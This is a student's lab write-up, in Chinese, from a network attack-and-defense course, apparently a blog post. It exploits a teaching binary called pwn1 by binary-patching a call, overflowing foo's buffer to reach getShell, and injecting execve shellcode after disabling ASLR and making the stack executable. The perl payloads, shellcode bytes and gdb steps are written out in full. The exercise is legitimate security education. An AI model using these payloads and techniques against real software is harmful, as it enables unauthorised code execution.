20242935 2024-2025-2 《网络攻防实践》第九周作业

20242935 2024-2025-2 《网络攻防实践》第九周作业

实践九 软件安全攻防--缓冲区溢出和shellcode

一、实践要求

1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

二、实验过程

任务一: 手工修改可执行文件

首先将 kali 虚拟机名称改为:wcy20242935

hostnamectl set-hostname wcy20242935

image-20250429123458742

在本地主机上下载并解压pwn1压缩包,再复制到虚拟机kali上

再通过命令修改文件名

mv pwn1 pwn20242935

image-20250429124245942

通过指令对pwn20242935文件进行反汇编操作

objdump -d pwn20242935 | more

可以看到getShell、foo、main等一系列函数

image-20250429124423708

可以看到08048491(foo函数的起始地址)= 80484b5(main函数中call指令的结束地址)+ffffffd7(栈是逆序)

现需要修改main函数中call指令的地址,使其跳转到getShell函数

由于0804847d(getshell函数的起始地址) - 080484ba = ffffffc3,所以我们只需要把main函数中call指令的目标地址由d7ffffff改为c3ffffff,即可实现跳转到getShell函数

通过命令修改,使用文本编辑器查看该文件

vim pwn20242935

image-20250429182211548

可以看到在上述操作后得到一串乱码,按下esc离开编辑模式,然后通过命令,切换到16进制模式

:%!xxd

image-20250429182632505

找到d7ffffff

image-20250429182930067

修改为c3ffffff

将"d7"修改成"c3",每修改一个字符,按一个r,修改一次

image-20250429183144216

修改完毕数据后,按下esc离开编辑模式,然后通过指令,将文件恢复文本显示

:%!xxd -r

最后按ESC,再通过命令,保存并退出

:wq

再次输入指令,看反编译结果

objdump -d pwn20242935 | more

可以看出已经调用了getShell函数

修改成功image-20250429183522493

任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串

使用命令,将反汇编查看没有修改过的文件pwn1,查看foo函数

objdump -d pwn1 | more

image-20250506135006740

地址 指令 含义
8048491 push %ebp 保存调用者的基址寄存器,准备建立新栈帧
8048492 mov %esp, %ebp 设置当前栈帧的基址
8048494 sub $0x38, %esp 为局部变量分配 56 字节空间(0x38 = 56)
8048497 lea -0x1c(%ebp), %eax 有 28 字节用于存放用户输入

EIP 是 x86 架构中保存返回地址的寄存器

若能让输入跨过这 28 字节,再刚好写入返回地址的位置,就能控制程序的执行流

把返回地址(80484ba)改为 getShell的地址(804847d),程序执行完 foo 后就跳转去执行 getShell()

因此,构造一个字符串使它的长度可以溢出至 EIP 所在位置,将返回地址 “80484ba” 覆盖为 getShell 函数的地址 “804847d”

也就是说

如果输入大于 28 字节 + 4 字节(填满+覆盖返回地址),就能劫持返回流程;当输入的字符串的长度超过32个字节时,第33-36个字节将会覆盖到EIP中

最终跳转至 getShell()

pwn1通过gdb进行调试(如果没有安装gdb会提示要安装)

gdb pwn1

image-20250430111950551

因此,我们可以在溢出中执行getshell功能,将它的输入字符串的位置正确地设定为getshell函数的地址,即将输入的字符串中的第33-36个字节设定为0804847d

由于elf语言是小端优先,我们在33-36个字节应该这样输入:\x7d\x84\x04\x08。
输入命令

perl -e 'print "00000000000000000000000000000000\x7d\x84\x04\x08\x0a "' > input_20242935

image-20250430115455875

形成字符串文件input_20242935

然后输入命令,可以通过xxd查看文件十六进制格式的内容

xxd input_20242935

image-20250505165641234

输入命令,即可将构造好的字符串输入程序并运行

chmod u+x ./pwn1
(cat input_20242935; cat) | ./pwn1

最后输入 ls 进行测试,发现程序成功调用了getShell函数

image-20250506135439101

任务三:注入Shellcode并执行

输入指令,安装execstack

apt-get install execstack

image-20250505214237352

设置堆栈可执行

execstack -s pwn1

image-20250506135623575

查询文件的堆栈是否可执行

execstack -q pwn1

image-20250506135651434

查看地址随机化的状态,输出中包含 X,表示该文件允许在栈上执行代码

more /proc/sys/kernel/randomize_va_space

image-20250506135718391

关闭地址随机化

echo "0" > /proc/sys/kernel/randomize_va_space

image-20250506135747758

再通过命令,查看状态,可以看到已经为关闭状态

more /proc/sys/kernel/randomize_va_space

image-20250506135818312

构造要注入的字符串地址,采用的构造方法是retaddr+nop+shellcode,并开始注入攻击

retaddr:返回地址(攻击者伪造的地址,指向shellcode所在位置)

NOP:滑板(No Operation,\x90,用于“滑行”到shellcode,增加攻击成功概率)

shellcode:攻击载荷,通常是一段能够开启shell的机器码

shellcode为:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

输入指令

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode_20242935

\x90\x90\x90...:前面的几个 \x90是 NOP滑板

中间的部分是上述的 shellcode

最后的几字节 \x90\x4\x3\x2\x1\x00是伪造的返回地址 retaddr(逆序存储的地址,比如 0x01020304,在内存中表现为\x04\x03\x02\x01),具体值会根据攻击目标的栈地址调整

image-20250506135914223

输入指令,开始运行

(cat input_shellcode_20242935; cat) | ./pwn1

image-20250506141025202

再打开另外一个终端,使用指令,找到对应的进程号为48315

ps -ef | grep pwn1

image-20250506141338031

使用gdb调试该进程

gdb

再根据pwn1的进程号使用gdb对其进行调试,通过设置断点,来查看注入字符串的内存地址

attach 48315

image-20250506141417735

通过命令,对foo函数进行反汇编,找到应该放置断点的位置,即断点应该放到ret之前

disassemble foo

image-20250506141451810

然后输入指令,设置断点

break *0x080484ae

image-20250506141526240

设置完毕后,在gdb中输入指令,继续执行

c

image-20250505222355161

再在左边的终端回车,即可到达断点

image-20250506141614427

输入指令,查看栈顶指针所在的位置,并查看该地址存放的数据为:0xffffd38c

info r esp

image-20250506141647876

输入命令,查看其存放内容,看到了0x01020304,就是返回地址的位置

x/16x 0xffffd38c

image-20250506142244081

返回地址为:x/16x 0xffffd38c+0x00000004=0xFFFFD380,所以地址应为0xffffd390。
因此可以构造shellcode为

perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode_20242935

image-20250506143455394

然后输入命令,再次运行,可以看到攻击成功

(cat input_shellcode_20242935; cat) | ./pwn1

image-20250506144213150

三、学习中遇到的问题及解决

问题一:在Kali Linux系统上使用apt-get install安装execstack包时,无法找到该包

image-20250505201557194

解决方法

打开sources.list文件

sudo vim /etc/apt/sources.list

在文件中添加以下内容

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib

image-20250505212821960

保存退出,再进行更新

apt-get update
apt-get install execstack

image-20250505214228248

问题二:当前操作系统禁止非 root 用户使用 gdb attach

image-20250506141204751

解决方法:所以要提权到root

四、学习感想和体会

在实验过程中,我遇到的最大困难是“栈偏移量”的准确定位。一开始我以为只要控制了输入就可以控制 EIP,但调试过程中发现实际返回地址的位置往往需要通过 GDB 和特殊标记值来推断,这让我意识到攻击的“精准性”远比想象中重要。

五、参考资料

第五周学习内容_栈溢出原理:覆盖 eip 并控制执行流-CSDN博客

posted @ 2025-05-08 22:51  BeenThrough  阅读(37)  评论(0)    收藏  举报